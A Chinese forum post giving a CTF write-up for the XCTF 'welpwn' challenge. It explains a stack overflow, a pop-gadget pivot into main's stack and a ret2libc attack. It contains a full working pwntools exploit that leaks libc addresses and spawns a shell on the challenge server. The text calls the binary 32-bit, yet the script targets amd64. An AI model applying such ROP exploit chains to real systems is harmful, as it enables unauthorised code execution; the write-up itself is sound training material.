首页
社区
课程
招聘
[原创]攻防世界welpwn
2022-1-23 18:28 7792

[原创]攻防世界welpwn

2022-1-23 18:28
7792

题目链接

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4767&page=1


题目复现

功能简单,打印输出字符

较长时开始故障

  1. 主函数,读取缓冲区0x400,缓冲区大小0x400,不存在溢出
    主函数
  2. echo函数,把主函数缓冲区赋值给s2,直到00截断,s2长度只有0x16,存在溢出可能
    echo函数
  3. 存在read,printf的plt,got,可以ret2libc
  4. 不存在mprotect,不可以构造代码执行

解题思路

  1. 题目为32位,由于s2遇到00截断的特性,因此echo的栈至多能执行一条命令,这条命令考虑栈迁移,但此题给的条件太狭窄,栈迁移也很难做
  2. 考虑echo函数与主函数之间栈的关系,可以执行一步pop命令将eip直接跨进主函数的栈内,在主函数栈执行rop
  3. 接着用常规ret2libc getshell

 

##调试过程
在echo函数结束时设置断点,观察此时的栈

可以看到echo栈后正好是main的栈,下面需要确定pop的数量
由pop到ret2libc需要跳转4位
图片描述
Pop4只有0x8048628,如果没有这题就寄了
图片描述


payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
 
context.log_level = 'debug'
context.arch = 'amd64'
#io = process('./welpwn')
io = remote('111.200.241.244',54860)
elf = ELF('./welpwn')
 
pop4_addr = 0x40089c
pop_rdi = 0x4008a3
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = 0x4007cd
 
payload1 = b'a' * (0x10 + 8) + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(printf_plt) + p64(main_addr)
io.send(payload1)
 
io.recvuntil(b'a'*0x18)
 
io.recv(3)
x = io.recv(6)
read_addr = u64(x.ljust(8, b'\x00'))
print(hex(read_addr))
 
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
 
payload2 = b'a' * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendline(payload2)
 
io.interactive()

需要注意的是,这题ret2libc时返回的read地址竟然多了三位,但是根据7f是第一位来定位的话,还是很好解决的


总结:

  1. 马克思基本原理教会我们整体与部分的辩证关系,如果这题我们只把每一个函数的栈看作孤立的个体,这题就无从做起;当溢出遇到瓶颈时,要考虑栈的连续性(push ebp;mov ebp,esp;sub esp xx),把栈看作连续的就迎刃而解
  2. 可以根据这题,整理对狭窄栈的解决措施

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-1-24 00:51 被N1co5in3编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回